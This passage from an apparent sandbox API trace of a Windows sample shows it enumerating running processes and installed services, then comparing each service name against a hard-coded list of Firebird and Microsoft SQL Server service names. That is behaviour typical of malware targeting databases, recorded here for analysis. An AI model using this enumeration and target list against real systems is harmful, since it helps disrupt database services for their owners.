dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0277.461] lstrlenW (lpString="csrss.exe") returned 9 [0277.461] Process32NextW (in: hSnapshot=0x47c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0277.462] lstrlenW (lpString="wininit.exe") returned 11 [0277.462] Process32NextW (in: hSnapshot=0x47c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0277.462] lstrlenW (lpString="csrss.exe") returned 9 [0277.462] Process32NextW (in: hSnapshot=0x47c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0277.463] lstrlenW (lpString="winlogon.exe") returned 12 [0277.463] Process32NextW (in: hSnapshot=0x47c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0277.463] lstrlenW (lpString="services.exe") returned 12 [0277.463] Process32NextW (in: hSnapshot=0x47c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0277.464] lstrlenW (lpString="lsass.exe") returned 9 [0277.464] Process32NextW (in: hSnapshot=0x47c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0277.464] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0277.464] Process32NextW (in: hSnapshot=0x47c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0277.465] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0277.465] Process32NextW (in: hSnapshot=0x47c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.465] lstrlenW (lpString="svchost.exe") returned 11 [0277.466] Process32NextW (in: hSnapshot=0x47c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.466] lstrlenW (lpString="svchost.exe") returned 11 [0277.466] Process32NextW (in: hSnapshot=0x47c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0277.467] lstrlenW (lpString="dwm.exe") returned 7 [0277.467] Process32NextW (in: hSnapshot=0x47c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.467] lstrlenW (lpString="svchost.exe") returned 11 [0277.467] Process32NextW (in: hSnapshot=0x47c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.468] lstrlenW (lpString="svchost.exe") returned 11 [0277.468] Process32NextW (in: hSnapshot=0x47c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.468] lstrlenW (lpString="svchost.exe") returned 11 [0277.468] Process32NextW (in: hSnapshot=0x47c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.469] lstrlenW (lpString="svchost.exe") returned 11 [0277.469] Process32NextW (in: hSnapshot=0x47c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.470] lstrlenW (lpString="svchost.exe") returned 11 [0277.470] Process32NextW (in: hSnapshot=0x47c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.470] lstrlenW (lpString="svchost.exe") returned 11 [0277.470] Process32NextW (in: hSnapshot=0x47c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.471] lstrlenW (lpString="svchost.exe") returned 11 [0277.471] Process32NextW (in: hSnapshot=0x47c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.471] lstrlenW (lpString="svchost.exe") returned 11 [0277.471] Process32NextW (in: hSnapshot=0x47c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.472] lstrlenW (lpString="svchost.exe") returned 11 [0277.472] Process32NextW (in: hSnapshot=0x47c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.472] lstrlenW (lpString="svchost.exe") returned 11 [0277.472] Process32NextW (in: hSnapshot=0x47c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0277.473] lstrlenW (lpString="spoolsv.exe") returned 11 [0277.473] Process32NextW (in: hSnapshot=0x47c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.473] lstrlenW (lpString="svchost.exe") returned 11 [0277.473] Process32NextW (in: hSnapshot=0x47c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0277.474] lstrlenW (lpString="audiodg.exe") returned 11 [0277.474] Process32NextW (in: hSnapshot=0x47c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0277.474] lstrlenW (lpString="sihost.exe") returned 10 [0277.474] Process32NextW (in: hSnapshot=0x47c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.475] lstrlenW (lpString="svchost.exe") returned 11 [0277.475] Process32NextW (in: hSnapshot=0x47c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0277.475] lstrlenW (lpString="taskhostw.exe") returned 13 [0277.476] Process32NextW (in: hSnapshot=0x47c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0277.476] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0277.476] Process32NextW (in: hSnapshot=0x47c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0277.477] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0277.477] Process32NextW (in: hSnapshot=0x47c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0277.477] lstrlenW (lpString="Memory Compression") returned 18 [0277.477] Process32NextW (in: hSnapshot=0x47c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0277.478] lstrlenW (lpString="explorer.exe") returned 12 [0277.478] Process32NextW (in: hSnapshot=0x47c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0277.478] lstrlenW (lpString="SearchUI.exe") returned 12 [0277.478] Process32NextW (in: hSnapshot=0x47c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0277.479] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0277.479] Process32NextW (in: hSnapshot=0x47c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0277.480] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0277.480] Process32NextW (in: hSnapshot=0x47c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0277.480] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0277.480] Process32NextW (in: hSnapshot=0x47c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0277.481] lstrlenW (lpString="finbbp.exe") returned 10 [0277.481] Process32NextW (in: hSnapshot=0x47c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.481] lstrlenW (lpString="svchost.exe") returned 11 [0277.481] Process32NextW (in: hSnapshot=0x47c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0277.482] lstrlenW (lpString="dllhost.exe") returned 11 [0277.482] Process32NextW (in: hSnapshot=0x47c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0277.482] lstrlenW (lpString="dllhost.exe") returned 11 [0277.482] Process32NextW (in: hSnapshot=0x47c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0277.483] CloseHandle (hObject=0x47c) returned 1 [0277.483] Sleep (dwMilliseconds=0x1f4) [0278.023] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41aa970 [0278.024] EnumServicesStatusExW (in: hSCManager=0x41aa970, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0278.024] GetLastError () returned 0xea [0278.025] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1ca4) returned 0x5081068 [0278.025] EnumServicesStatusExW (in: hSCManager=0x41aa970, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5081068, cbBufSize=0x1ca4, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5081068, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0278.026] CloseServiceHandle (hSCObject=0x41aa970) returned 1 [0278.026] lstrlenW (lpString="Appinfo") returned 7 [0278.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0278.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0278.026] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0278.026] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0278.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0278.026] lstrlenW (lpString="AppXSvc") returned 7 [0278.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0278.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0278.026] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0278.026] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0278.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0278.027] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0278.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0278.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0278.027] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0278.027] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0278.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0278.027] lstrlenW (lpString="Audiosrv") returned 8 [0278.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0278.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0278.027] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0278.027] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0278.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0278.027] lstrlenW (lpString="BFE") returned 3 [0278.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0278.027] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0278.027] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0278.027] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0278.027] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0278.027] lstrlenW (lpString="BITS") returned 4 [0278.027] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0278.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0278.028] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0278.028] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0278.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0278.028] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0278.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0278.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0278.028] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0278.028] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0278.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0278.028] lstrlenW (lpString="CDPSvc") returned 6 [0278.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0278.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0278.028] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0278.028] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0278.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0278.028] lstrlenW (lpString="ClickToRunSvc") returned 13 [0278.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0278.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0278.028] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0278.028] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0278.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0278.028] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0278.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0278.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0278.029] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0278.029] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0278.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0278.029] lstrlenW (lpString="CryptSvc") returned 8 [0278.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0278.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0278.029] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0278.029] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0278.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0278.029] lstrlenW (lpString="DcomLaunch") returned 10 [0278.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0278.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0278.029] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0278.029] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0278.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0278.029] lstrlenW (lpString="DeviceAssociationService") returned 24 [0278.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0278.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0278.029] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0278.029] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0278.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0278.029] lstrlenW (lpString="Dhcp") returned 4 [0278.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0278.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0278.029] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0278.029] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0278.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0278.029] lstrlenW (lpString="Dnscache") returned 8 [0278.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0278.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0278.030] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0278.030] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0278.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0278.030] lstrlenW (lpString="DPS") returned 3 [0278.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0278.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0278.030] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0278.030] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0278.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0278.030] lstrlenW (lpString="DusmSvc") returned 7 [0278.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0278.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0278.030] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0278.030] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0278.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0278.030] lstrlenW (lpString="EventLog") returned 8 [0278.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0278.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0278.030] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0278.030] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0278.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0278.030] lstrlenW (lpString="EventSystem") returned 11 [0278.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0278.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0278.030] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0278.030] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0278.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0278.030] lstrlenW (lpString="FontCache") returned 9 [0278.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0278.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0278.031] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0278.031] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0278.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0278.031] lstrlenW (lpString="gpsvc") returned 5 [0278.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0278.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0278.031] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0278.031] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0278.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0278.031] lstrlenW (lpString="iphlpsvc") returned 8 [0278.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0278.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0278.031] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0278.031] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0278.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0278.031] lstrlenW (lpString="KeyIso") returned 6 [0278.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0278.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0278.031] 